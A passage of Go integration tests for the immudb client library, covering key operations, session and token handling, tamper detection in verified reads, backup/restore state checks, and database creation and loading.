&emptypb.Empty{}) require.NoError(t, err) entries, err = client.GetAll(ctx, [][]byte{[]byte(`aaa`), []byte(`bbb`)}) require.NoError(t, err) require.Len(t, entries.Entries, 2) err = client.TruncateDatabase(ctx, "defaultdb", 1*time.Hour) require.ErrorContains(t, err, "database is reserved") } func TestImmuClient_Delete(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.Delete(ctx, nil) require.ErrorContains(t, err, "Marshal called with nil") deleteRequest := &schema.DeleteKeysRequest{} _, err = client.Delete(ctx, deleteRequest) require.ErrorContains(t, err, "no entries provided") _, err = client.Set(ctx, []byte("1,2,3"), []byte("3,2,1")) require.NoError(t, err) i, err := client.Get(ctx, []byte("1,2,3")) require.NoError(t, err) require.Equal(t, []byte("3,2,1"), i.GetValue()) _, err = client.ExpirableSet(ctx, []byte("expirableKey"), []byte("expirableValue"), time.Now()) require.NoError(t, err) _, err = client.Get(ctx, []byte("expirableKey")) require.ErrorContains(t, err, "key not found") deleteRequest.Keys = append(deleteRequest.Keys, []byte("1,2,3")) _, err = client.Delete(ctx, deleteRequest) require.NoError(t, err) _, err = client.Get(ctx, []byte("1,2,3")) require.ErrorContains(t, err, "key not found") _, err = client.Delete(ctx, deleteRequest) require.ErrorContains(t, err, "key not found") } func TestImmuClient_ExecAllOpsOptions(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }, }, }, }, } idx, err := client.ExecAll(ctx, aOps) require.NoError(t, err) require.NotNil(t, idx) } func TestImmuClient_Scan(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`)) require.NoError(t, err) _, err = client.VerifiedSet(ctx, []byte(`key1`), []byte(`val11`)) require.NoError(t, err) _, err = client.VerifiedSet(ctx, []byte(`key3`), []byte(`val3`)) require.NoError(t, err) entries, err := client.Scan(ctx, &schema.ScanRequest{Prefix: []byte("key"), SinceTx: 3}) require.NoError(t, err) require.IsType(t, &schema.Entries{}, entries) require.Len(t, entries.Entries, 2) } func TestImmuClient_TxScan(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.Set(ctx, []byte(`key1`), []byte(`val1`)) require.NoError(t, err) _, err = client.Set(ctx, []byte(`key1`), []byte(`val11`)) require.NoError(t, err) _, err = client.Set(ctx, []byte(`key3`), []byte(`val3`)) require.NoError(t, err) txls, err := client.TxScan(ctx, &schema.TxScanRequest{ InitialTx: 1, }) require.IsType(t, &schema.TxList{}, txls) require.NoError(t, err) require.Len(t, txls.Txs, 3) txls, err = client.TxScan(ctx, &schema.TxScanRequest{ InitialTx: 3, Limit: 3, Desc: true, }) require.IsType(t, &schema.TxList{}, txls) require.NoError(t, err) require.Len(t, txls.Txs, 3) txls, err = client.TxScan(ctx, &schema.TxScanRequest{ InitialTx: 2, Limit: 1, Desc: true, }) require.IsType(t, &schema.TxList{}, txls) require.NoError(t, err) require.Len(t, txls.Txs, 1) require.Equal(t, database.TrimPrefix(txls.Txs[0].Entries[0].Key), []byte(`key1`)) } func TestImmuClient_Logout(t *testing.T) { bs := servertest.NewBufconnServer(server. DefaultOptions(). WithDir(t.TempDir()). WithAuth(true), ) bs.Start() defer bs.Stop() ts1 := tokenservice.NewInmemoryTokenService() ts2 := &TokenServiceMock{ TokenService: ts1, GetTokenF: ts1.GetToken, SetTokenF: ts1.SetToken, DeleteTokenF: ts1.DeleteToken, IsTokenPresentF: func() (bool, error) { return false, errors.New("some IsTokenPresent error") }, } ts3 := *ts2 ts3.DeleteTokenF = func() error { return errors.New("some DeleteToken error") } ts3.IsTokenPresentF = func() (bool, error) { return true, nil } tokenServices := []tokenservice.TokenService{ts1, ts2, &ts3} expectations := []func(error){ func(err error) { require.NoError(t, err) }, func(err error) { require.NotNil(t, err) require.Contains(t, err.Error(), "some IsTokenPresent error") }, func(err error) { require.NotNil(t, err) require.Contains(t, err.Error(), "some DeleteToken error") }, } for i, expect := range expectations { client, err := ic.NewImmuClient(ic. DefaultOptions(). WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}). WithDir(t.TempDir()), ) if err != nil { expect(err) continue } client.WithTokenService(tokenServices[i]) lr, err := client.Login(context.Background(), []byte(`immudb`), []byte(`immudb`)) if err != nil { expect(err) continue } md := metadata.Pairs("authorization", lr.Token) ctx := metadata.NewOutgoingContext(context.Background(), md) err = client.Logout(ctx) expect(err) err = client.Disconnect() require.NoError(t, err) } } func TestImmuClient_GetServiceClient(t *testing.T) { _, client, _ := setupTestServerAndClient(t) cli := client.GetServiceClient() require.Implements(t, (*schema.ImmuServiceClient)(nil), cli) } func TestImmuClient_GetOptions(t *testing.T) { client := ic.NewClient() op := client.GetOptions() require.IsType(t, &ic.Options{}, op) } func TestImmuClient_ServerInfo(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) resp, err := client.ServerInfo(ctx, &schema.ServerInfoRequest{}) require.NoError(t, err) require.NotNil(t, resp) require.Equal(t, "", resp.Version) } func TestImmuClient_CurrentRoot(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`)) require.NoError(t, err) r, err := client.CurrentState(ctx) require.NoError(t, err) require.IsType(t, &schema.ImmutableState{}, r) healthRes, err := client.Health(ctx) require.NoError(t, err) require.NotNil(t, healthRes) require.Equal(t, uint32(0x0), healthRes.PendingRequests) } func TestImmuClient_Count(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) res, err := client.Count(ctx, []byte(`key1`)) require.NoError(t, err) require.Zero(t, res.Count) } func TestImmuClient_CountAll(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) res, err := client.CountAll(ctx) require.NoError(t, err) require.Zero(t, res.Count) } /* func TestImmuClient_SetBatchConcurrent(t *testing.T) { setup() var wg sync.WaitGroup var ris = make(chan int, 5) wg.Add(5) for i := 0; i < 5; i++ { go func() { defer wg.Done() br := BatchRequest{ Keys: []io.Reader{strings.NewReader("key1"), strings.NewReader("key2"), strings.NewReader("key3")}, Values: []io.Reader{strings.NewReader("val1"), strings.NewReader("val2"), strings.NewReader("val3")}, } idx, err := client.SetBatch(context.Background(), &br) require.NoError(t, err) ris <- int(idx.Index) }() } wg.Wait() close(ris) client.Disconnect() s := make([]int, 0) for i := range ris { s = append(s, i) } sort.Slice(s, func(i, j int) bool { return s[i] < s[j] }) require.Equal(t, 2, s[0]) require.Equal(t, 5, s[1]) require.Equal(t, 8, s[2]) require.Equal(t, 11, s[3]) require.Equal(t, 14, s[4]) } func TestImmuClient_GetBatchConcurrent(t *testing.T) { setup() var wg sync.WaitGroup wg.Add(5) for i := 0; i < 5; i++ { go func() { defer wg.Done() br := BatchRequest{ Keys: []io.Reader{strings.NewReader("key1"), strings.NewReader("key2"), strings.NewReader("key3")}, Values: []io.Reader{strings.NewReader("val1"), strings.NewReader("val2"), strings.NewReader("val3")}, } _, err := client.SetBatch(context.Background(), &br) require.NoError(t, err) }() } wg.Wait() var wg1 sync.WaitGroup var sils = make(chan *schema.StructuredItemList, 2) wg1.Add(1) go func() { defer wg1.Done() sil, err := client.GetBatch(context.Background(), [][]byte{[]byte(`key1`), []byte(`key2`)}) require.NoError(t, err) sils <- sil }() wg1.Add(1) go func() { defer wg1.Done() sil, err := client.GetBatch(context.Background(), [][]byte{[]byte(`key3`)}) require.NoError(t, err) sils <- sil }() wg1.Wait() close(sils) values := BytesSlice{} for sil := range sils { for _, val := range sil.Items { values = append(values, val.Value.Payload) } } sort.Sort(values) require.Equal(t, []byte(`val1`), values[0]) require.Equal(t, []byte(`val2`), values[1]) require.Equal(t, []byte(`val3`), values[2]) client.Disconnect() } type BytesSlice [][]byte func (p BytesSlice) Len() int { return len(p) } func (p BytesSlice) Less(i, j int) bool { return bytes.Compare(p[i], p[j]) == -1 } func (p BytesSlice) Swap(i, j int) { p[i], p[j] = p[j], p[i] } func TestImmuClient_GetReference(t *testing.T) { setup() idx, err := client.Set(context.Background(), []byte(`key`), []byte(`value`)) require.NoError(t, err) _, err = client.Reference(context.Background(), []byte(`reference`), []byte(`key`), idx) require.NoError(t, err) op, err := client.GetReference(context.Background(), &schema.Key{Key: []byte(`reference`)}) require.IsType(t, &schema.StructuredItem{}, op) require.NoError(t, err) client.Disconnect() } */ func TestEnforcedLogoutAfterPasswordChangeWithToken(t *testing.T) { _, client, ctx := setupTestServerAndClientWithToken(t) var ( userName = "test" userPassword = "1Password!*" userNewPassword = "2Password!*" testDBName = "test" testDB = &schema.Database{DatabaseName: testDBName} testUserContext = context.Background() ) // step 1: create test database err := client.CreateDatabase(ctx, &schema.DatabaseSettings{DatabaseName: testDBName}) require.NoError(t, err) // step 2: create test user with read write permissions to the test db err = client.CreateUser( ctx, []byte(userName), []byte(userPassword), auth.PermissionRW, testDBName, ) require.NoError(t, err) // step 3: create test client and context lr, err := client.Login(context.Background(), []byte(userName), []byte(userPassword)) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) testUserContext = metadata.NewOutgoingContext(context.Background(), md) dbResp, err := client.UseDatabase(testUserContext, testDB) md = metadata.Pairs("authorization", dbResp.Token) testUserContext = metadata.NewOutgoingContext(context.Background(), md) // step 4: successfully access the test db using the test client _, err = client.Set(testUserContext, []byte("sampleKey"), []byte("sampleValue")) require.NoError(t, err) // step 5: using admin client change the test user password err = client.ChangePassword( ctx, []byte(userName), []byte(userPassword), []byte(userNewPassword), ) require.NoError(t, err) // step 6: access the test db again using the test client which should give an error _, err = client.Set(testUserContext, []byte("sampleKey"), []byte("sampleValue")) require.ErrorContains(t, err, auth.ErrNotLoggedIn.Error()) } func TestEnforcedLogoutAfterPasswordChangeWithSessions(t *testing.T) { t.SkipNow() bs, client, ctx := setupTestServerAndClient(t) var ( userName = "test" userPassword = "1Password!*" userNewPassword = "2Password!*" testDBName = "test" testUserContext = context.Background() ) // step 1: create test database err := client.CreateDatabase(ctx, &schema.DatabaseSettings{DatabaseName: testDBName}) require.NoError(t, err) // step 2: create test user with read write permissions to the test db err = client.CreateUser( ctx, []byte(userName), []byte(userPassword), auth.PermissionRW, testDBName, ) require.NoError(t, err) // step 3: create test client and context testClient := bs.NewClient(ic.DefaultOptions().WithDir(t.TempDir())) err = testClient.OpenSession(context.Background(), []byte(userName), []byte(userPassword), testDBName) require.NoError(t, err) // step 4: successfully access the test db using the test client _, err = testClient.Set(testUserContext, []byte("sampleKey"), []byte("sampleValue")) require.NoError(t, err) // step 5: using admin client change the test user password err = client.ChangePassword( ctx, []byte(userName), []byte(userPassword), []byte(userNewPassword), ) require.NoError(t, err) // step 6: access the test db again using the test client which should give an error _, err = testClient.Set(testUserContext, []byte("sampleKey"), []byte("sampleValue")) require.Error(t, err) } func TestImmuClient_CurrentStateVerifiedSignature(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) item, err := client.CurrentState(ctx) require.IsType(t, &schema.ImmutableState{}, item) require.NoError(t, err) } func TestImmuClient_VerifiedGetAt(t *testing.T) { bs, client, ctx := setupTestServerAndClient(t) txHdr0, err := client.Set(ctx, []byte(`key0`), []byte(`val0`)) require.NoError(t, err) entry0, err := client.VerifiedGetAt(ctx, []byte(`key0`), txHdr0.Id) require.NoError(t, err) require.Equal(t, []byte(`key0`), entry0.Key) require.Equal(t, []byte(`val0`), entry0.Value) txHdr1, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`)) require.NoError(t, err) txHdr2, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val2`)) require.NoError(t, err) entry, err := client.VerifiedGetAt(ctx, []byte(`key1`), txHdr1.Id) require.NoError(t, err) require.Equal(t, []byte(`key1`), entry.Key) require.Equal(t, []byte(`val1`), entry.Value) entry2, err := client.VerifiedGetAt(ctx, []byte(`key1`), txHdr2.Id) require.NoError(t, err) require.Equal(t, []byte(`key1`), entry2.Key) require.Equal(t, []byte(`val2`), entry2.Value) bs.Server.PreVerifiableGetFn = func(ctx context.Context, req *schema.VerifiableGetRequest) { req.KeyRequest.AtTx = txHdr1.Id } _, err = client.VerifiedGetAt(ctx, []byte(`key1`), txHdr2.Id) require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PreVerifiableSetFn = func(ctx context.Context, req *schema.VerifiableSetRequest) { req.SetRequest.KVs[0].Value = []byte(`val2`) } _, err = client.VerifiedSet(ctx, []byte(`key1`), []byte(`val3`)) require.ErrorIs(t, err, store.ErrCorruptedData) } func TestImmuClient_VerifiedGetSince(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`)) require.NoError(t, err) txMeta2, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val2`)) require.NoError(t, err) entry2, err := client.VerifiedGetSince(ctx, []byte(`key1`), txMeta2.Id) require.NoError(t, err) require.Equal(t, []byte(`key1`), entry2.Key) require.Equal(t, []byte(`val2`), entry2.Value) } func TestImmuClient_BackupAndRestoreUX(t *testing.T) { var ( uuid xid.ID serverOpts *server.Options stateFileDir = t.TempDir() dirAtTx3 = filepath.Join(t.TempDir(), "data") copier = fs.NewStandardCopier() ) // Setup the initial test server outside t.Run to ensure the main data folder // is present during whole test bs, client, ctx := setupTestServerAndClient(t) t.Run("write initial 3 Txs", func(t *testing.T) { uuid = bs.GetUUID() serverOpts = bs.Options defer bs.Stop() defer client.CloseSession(context.Background()) _, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`)) require.NoError(t, err) _, err = client.VerifiedSet(ctx, []byte(`key2`), []byte(`val2`)) require.NoError(t, err) _, err = client.VerifiedSet(ctx, []byte(`key3`), []byte(`val3`)) require.NoError(t, err) _, err = client.VerifiedGet(ctx, []byte(`key3`)) require.NoError(t, err) err = client.CloseSession(context.Background()) require.NoError(t, err) err = bs.Stop() require.NoError(t, err) }) t.Run("preserve data at Tx 3", func(t *testing.T) { err := copier.CopyDir(serverOpts.Dir, dirAtTx3) require.NoError(t, err) }) t.Run("add some more transactions to the database", func(t *testing.T) { bs := servertest.NewBufconnServer(serverOpts) bs.SetUUID(uuid) err := bs.Start() require.NoError(t, err) defer bs.Stop() client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(stateFileDir)) require.NoError(t, err) defer client.CloseSession(context.Background()) _, err = client.VerifiedSet(context.Background(), []byte(`key1`), []byte(`val1`)) require.NoError(t, err) _, err = client.VerifiedSet(context.Background(), []byte(`key2`), []byte(`val2`)) require.NoError(t, err) _, err = client.VerifiedSet(context.Background(), []byte(`key3`), []byte(`val3`)) require.NoError(t, err) _, err = client.VerifiedGet(context.Background(), []byte(`key3`)) require.NoError(t, err) err = bs.Stop() require.NoError(t, err) }) t.Run("clients will fail after restoring older dataset", func(t *testing.T) { os.RemoveAll(serverOpts.Dir) err := copier.CopyDir(dirAtTx3, serverOpts.Dir) require.NoError(t, err) bs := servertest.NewBufconnServer(serverOpts) bs.SetUUID(uuid) err = bs.Start() require.NoError(t, err) defer bs.Stop() client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(stateFileDir)) require.NoError(t, err) defer client.CloseSession(context.Background()) _, err = client.VerifiedGet(context.Background(), []byte(`key3`)) require.ErrorIs(t, err, ic.ErrServerStateIsOlder) }) } type HomedirServiceMock struct { homedir.HomedirService WriteFileToUserHomeDirF func(content []byte, pathToFile string) error FileExistsInUserHomeDirF func(pathToFile string) (bool, error) ReadFileFromUserHomeDirF func(pathToFile string) (string, error) DeleteFileFromUserHomeDirF func(pathToFile string) error } // WriteFileToUserHomeDir ... func (h *HomedirServiceMock) WriteFileToUserHomeDir(content []byte, pathToFile string) error { return h.WriteFileToUserHomeDirF(content, pathToFile) } // FileExistsInUserHomeDir ... func (h *HomedirServiceMock) FileExistsInUserHomeDir(pathToFile string) (bool, error) { return h.FileExistsInUserHomeDirF(pathToFile) } // ReadFileFromUserHomeDir ... func (h *HomedirServiceMock) ReadFileFromUserHomeDir(pathToFile string) (string, error) { return h.ReadFileFromUserHomeDirF(pathToFile) } // DeleteFileFromUserHomeDir ... func (h *HomedirServiceMock) DeleteFileFromUserHomeDir(pathToFile string) error { return h.DeleteFileFromUserHomeDirF(pathToFile) } // DefaultHomedirServiceMock ... func DefaultHomedirServiceMock() *HomedirServiceMock { return &HomedirServiceMock{ WriteFileToUserHomeDirF: func(content []byte, pathToFile string) error { return nil }, FileExistsInUserHomeDirF: func(pathToFile string) (bool, error) { return false, nil }, ReadFileFromUserHomeDirF: func(pathToFile string) (string, error) { return "", nil }, DeleteFileFromUserHomeDirF: func(pathToFile string) error { return nil }, } } type TokenServiceMock struct { tokenservice.TokenService GetTokenF func() (string, error) SetTokenF func(database string, token string) error IsTokenPresentF func() (bool, error) DeleteTokenF func() error } func (ts TokenServiceMock) GetToken() (string, error) { return ts.GetTokenF() } func (ts TokenServiceMock) SetToken(database string, token string) error { return ts.SetTokenF(database, token) } func (ts TokenServiceMock) DeleteToken() error { return ts.DeleteTokenF() } func (ts TokenServiceMock) IsTokenPresent() (bool, error) { return ts.IsTokenPresentF() } func (ts TokenServiceMock) GetDatabase() (string, error) { return "", nil } func (ts TokenServiceMock) WithHds(hds homedir.HomedirService) tokenservice.TokenService { return ts } func (ts TokenServiceMock) WithTokenFileName(tfn string) tokenservice.TokenService { return ts } func TestServerLogRequestMetadata(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) requireMetadataPresent := func(hdr *schema.TxHeader) { txmd := schema.Metadata{} err := txmd.Unmarshal(hdr.Metadata.Extra) require.NoError(t, err) require.Equal(t, schema.Metadata{schema.UserRequestMetadataKey: auth.SysAdminUsername, schema.IpRequestMetadataKey: "bufconn"}, txmd) } hdr, err := client.Set(ctx, []byte("test"), []byte("test")) require.NoError(t, err) requireMetadataPresent(hdr) hdr1, err := client.VerifiedSet(ctx, []byte("test"), []byte("test")) require.NoError(t, err) requireMetadataPresent(hdr1) require.NoError(t, err) _, err = client.SQLExec(ctx, "CREATE TABLE mytable (id INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) tx, err := client.TxByID(ctx, 3) require.NoError(t, err) requireMetadataPresent(tx.Header) } ================================================ FILE: pkg/integration/database_creation_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "testing" "time" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestCreateDatabase(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) dbSettings := &schema.DatabaseSettings{ DatabaseName: "db1", Replica: false, FileSize: 1 << 20, MaxKeyLen: 32, MaxValueLen: 64, MaxTxEntries: 100, ExcludeCommitTime: false, } err := client.CreateDatabase(ctx, dbSettings) require.NoError(t, err) _, err = client.UseDatabase(ctx, &schema.Database{DatabaseName: "db1"}) require.NoError(t, err) settings, err := client.GetDatabaseSettings(ctx) require.NoError(t, err) require.Equal(t, dbSettings.DatabaseName, settings.DatabaseName) require.Equal(t, dbSettings.Replica, settings.Replica) require.Equal(t, dbSettings.FileSize, settings.FileSize) require.Equal(t, dbSettings.MaxKeyLen, settings.MaxKeyLen) require.Equal(t, dbSettings.MaxValueLen, settings.MaxValueLen) require.Equal(t, dbSettings.MaxTxEntries, settings.MaxTxEntries) require.Equal(t, dbSettings.ExcludeCommitTime, settings.ExcludeCommitTime) } func TestCreateDatabaseV2(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) dbNullableSettings := &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: false}, }, FileSize: &schema.NullableUint32{Value: 1 << 20}, MaxKeyLen: &schema.NullableUint32{Value: 32}, MaxValueLen: &schema.NullableUint32{Value: 64}, MaxTxEntries: &schema.NullableUint32{Value: 100}, EmbeddedValues: &schema.NullableBool{Value: true}, PreallocFiles: &schema.NullableBool{Value: true}, ExcludeCommitTime: &schema.NullableBool{Value: false}, MaxActiveTransactions: &schema.NullableUint32{Value: 30}, MvccReadSetLimit: &schema.NullableUint32{Value: 1_000}, MaxConcurrency: &schema.NullableUint32{Value: 10}, MaxIOConcurrency: &schema.NullableUint32{Value: 1}, TxLogCacheSize: &schema.NullableUint32{Value: 2000}, VLogCacheSize: &schema.NullableUint32{Value: 2200}, VLogMaxOpenedFiles: &schema.NullableUint32{Value: 8}, TxLogMaxOpenedFiles: &schema.NullableUint32{Value: 4}, CommitLogMaxOpenedFiles: &schema.NullableUint32{Value: 2}, SyncFrequency: &schema.NullableMilliseconds{Value: 15}, WriteBufferSize: &schema.NullableUint32{Value: 4000}, IndexSettings: &schema.IndexNullableSettings{ FlushThreshold: &schema.NullableUint32{Value: 256}, SyncThreshold: &schema.NullableUint32{Value: 512}, FlushBufferSize: &schema.NullableUint32{Value: 128}, CacheSize: &schema.NullableUint32{Value: 1024}, MaxNodeSize: &schema.NullableUint32{Value: 8192}, MaxActiveSnapshots: &schema.NullableUint32{Value: 3}, RenewSnapRootAfter: &schema.NullableUint64{Value: 5000}, CompactionThld: &schema.NullableUint32{Value: 5}, DelayDuringCompaction: &schema.NullableUint32{Value: 1}, NodesLogMaxOpenedFiles: &schema.NullableUint32{Value: 20}, HistoryLogMaxOpenedFiles: &schema.NullableUint32{Value: 15}, CommitLogMaxOpenedFiles: &schema.NullableUint32{Value: 3}, MaxBulkSize: &schema.NullableUint32{Value: 35}, BulkPreparationTimeout: &schema.NullableMilliseconds{Value: 150}, }, AhtSettings: &schema.AHTNullableSettings{ SyncThreshold: &schema.NullableUint32{Value: 10_000}, WriteBufferSize: &schema.NullableUint32{Value: 8000}, }, TruncationSettings: &schema.TruncationNullableSettings{ RetentionPeriod: &schema.NullableMilliseconds{Value: 24 * time.Hour.Milliseconds()}, TruncationFrequency: &schema.NullableMilliseconds{Value: 1 * time.Hour.Milliseconds()}, }, } _, err := client.CreateDatabaseV2(ctx, "db1", dbNullableSettings) require.NoError(t, err) _, err = client.UseDatabase(ctx, &schema.Database{DatabaseName: "db1"}) require.NoError(t, err) res, err := client.GetDatabaseSettingsV2(ctx) require.NoError(t, err) require.Equal(t, dbNullableSettings.ReplicationSettings.Replica.Value, res.Settings.ReplicationSettings.Replica.Value) require.Equal(t, dbNullableSettings.FileSize.Value, res.Settings.FileSize.Value) require.Equal(t, dbNullableSettings.MaxKeyLen.Value, res.Settings.MaxKeyLen.Value) require.Equal(t, dbNullableSettings.MaxValueLen.Value, res.Settings.MaxValueLen.Value) require.Equal(t, dbNullableSettings.MaxTxEntries.Value, res.Settings.MaxTxEntries.Value) require.Equal(t, dbNullableSettings.EmbeddedValues.Value, res.Settings.EmbeddedValues.Value) require.Equal(t, dbNullableSettings.PreallocFiles.Value, res.Settings.PreallocFiles.Value) require.Equal(t, dbNullableSettings.ExcludeCommitTime.Value, res.Settings.ExcludeCommitTime.Value) require.Equal(t, dbNullableSettings.MaxActiveTransactions.Value, res.Settings.MaxActiveTransactions.Value) require.Equal(t, dbNullableSettings.MvccReadSetLimit.Value, res.Settings.MvccReadSetLimit.Value) require.Equal(t, dbNullableSettings.MaxConcurrency.Value, res.Settings.MaxConcurrency.Value) require.Equal(t, dbNullableSettings.MaxIOConcurrency.Value, res.Settings.MaxIOConcurrency.Value) require.Equal(t, dbNullableSettings.TxLogCacheSize.Value, res.Settings.TxLogCacheSize.Value) require.Equal(t, dbNullableSettings.VLogCacheSize.Value, res.Settings.VLogCacheSize.Value) require.Equal(t, dbNullableSettings.VLogMaxOpenedFiles.Value, res.Settings.VLogMaxOpenedFiles.Value) require.Equal(t, dbNullableSettings.TxLogMaxOpenedFiles.Value, res.Settings.TxLogMaxOpenedFiles.Value) require.Equal(t, dbNullableSettings.CommitLogMaxOpenedFiles.Value, res.Settings.CommitLogMaxOpenedFiles.Value) require.Equal(t, dbNullableSettings.SyncFrequency.Value, res.Settings.SyncFrequency.Value) require.Equal(t, dbNullableSettings.WriteBufferSize.Value, res.Settings.WriteBufferSize.Value) require.Equal(t, dbNullableSettings.IndexSettings.FlushThreshold.Value, res.Settings.IndexSettings.FlushThreshold.Value) require.Equal(t, dbNullableSettings.IndexSettings.SyncThreshold.Value, res.Settings.IndexSettings.SyncThreshold.Value) require.Equal(t, dbNullableSettings.IndexSettings.FlushBufferSize.Value, res.Settings.IndexSettings.FlushBufferSize.Value) require.Equal(t, dbNullableSettings.IndexSettings.CacheSize.Value, res.Settings.IndexSettings.CacheSize.Value) require.Equal(t, dbNullableSettings.IndexSettings.MaxNodeSize.Value, res.Settings.IndexSettings.MaxNodeSize.Value) require.Equal(t, dbNullableSettings.IndexSettings.MaxActiveSnapshots.Value, res.Settings.IndexSettings.MaxActiveSnapshots.Value) require.Equal(t, dbNullableSettings.IndexSettings.RenewSnapRootAfter.Value, res.Settings.IndexSettings.RenewSnapRootAfter.Value) require.Equal(t, dbNullableSettings.IndexSettings.CompactionThld.Value, res.Settings.IndexSettings.CompactionThld.Value) require.Equal(t, dbNullableSettings.IndexSettings.DelayDuringCompaction.Value, res.Settings.IndexSettings.DelayDuringCompaction.Value) require.Equal(t, dbNullableSettings.IndexSettings.NodesLogMaxOpenedFiles.Value, res.Settings.IndexSettings.NodesLogMaxOpenedFiles.Value) require.Equal(t, dbNullableSettings.IndexSettings.HistoryLogMaxOpenedFiles.Value, res.Settings.IndexSettings.HistoryLogMaxOpenedFiles.Value) require.Equal(t, dbNullableSettings.IndexSettings.CommitLogMaxOpenedFiles.Value, res.Settings.IndexSettings.CommitLogMaxOpenedFiles.Value) require.Equal(t, dbNullableSettings.IndexSettings.MaxBulkSize.Value, res.Settings.IndexSettings.MaxBulkSize.Value) require.Equal(t, dbNullableSettings.IndexSettings.BulkPreparationTimeout.Value, res.Settings.IndexSettings.BulkPreparationTimeout.Value) require.Equal(t, dbNullableSettings.AhtSettings.SyncThreshold.Value, res.Settings.AhtSettings.SyncThreshold.Value) require.Equal(t, dbNullableSettings.AhtSettings.WriteBufferSize.Value, res.Settings.AhtSettings.WriteBufferSize.Value) require.Equal(t, dbNullableSettings.TruncationSettings.RetentionPeriod.Value, res.Settings.TruncationSettings.RetentionPeriod.Value) require.Equal(t, dbNullableSettings.TruncationSettings.TruncationFrequency.Value, res.Settings.TruncationSettings.TruncationFrequency.Value) _, err = client.UpdateDatabaseV2(ctx, "db1", &schema.DatabaseNullableSettings{}) require.NoError(t, err) } func TestCreateDatabaseWithUnderscoreCharacter(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.CreateDatabaseV2(ctx, "db_with_", nil) require.NoError(t, err) _, err = client.UseDatabase(ctx, &schema.Database{DatabaseName: "db_with_"}) require.NoError(t, err) } ================================================ FILE: pkg/integration/database_runtime_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestDatabaseLoadingUnloading(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) err := client.CloseSession(ctx) require.NoError(t, err) t.Run("attempt load/unload/delete a database without an active session should fail", func(t *testing.T) { _, err := client.LoadDatabase(ctx, &schema.LoadDatabaseRequest{Database: "db1"}) require.Contains(t, err.Error(), "not connected") _, err = client.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: "db1"}) require.Contains(t, err.Error(), "not connected") _, err = client.DeleteDatabase(ctx, &schema.DeleteDatabaseRequest{Database: "db1"}) require.Contains(t, err.Error(), "not connected") }) err = client.OpenSession(ctx, []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) dbSettings := &schema.DatabaseSettings{ DatabaseName: "db1", Replica: false, FileSize: 1 << 20, MaxKeyLen: 32, MaxValueLen: 64, MaxTxEntries: 100, ExcludeCommitTime: false, } err = client.CreateDatabase(ctx, dbSettings) require.NoError(t, err) _, err = client.UseDatabase(ctx, &schema.Database{DatabaseName: "db1"}) require.NoError(t, err) t.Run("attempt to load unexistent database should fail", func(t *testing.T) { _, err := client.LoadDatabase(ctx, &schema.LoadDatabaseRequest{Database: "db2"}) require.Contains(t, err.Error(), "database does not exist") }) t.Run("attempt to load an already open database should fail", func(t *testing.T) { _, err := client.LoadDatabase(ctx, &schema.LoadDatabaseRequest{Database: "db1"}) require.Contains(t, err.Error(), "database already loaded") }) t.Run("attempt to unload unexistent database should fail", func(t *testing.T) { _, err := client.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: "db2"}) require.Contains(t, err.Error(), "database does not exist") }) t.Run("attempt to unload a loaded database should succeed", func(t *testing.T) { _, err := client.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: "db1"}) require.NoError(t, err) }) t.Run("attempt to unload an already unloaded database should fail", func(t *testing.T) { _, err := client.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: "db1"}) require.Contains(t, err.Error(), "already closed") }) t.Run("attempt to delete unexistent database should fail", func(t *testing.T) { _, err := client.DeleteDatabase(ctx, 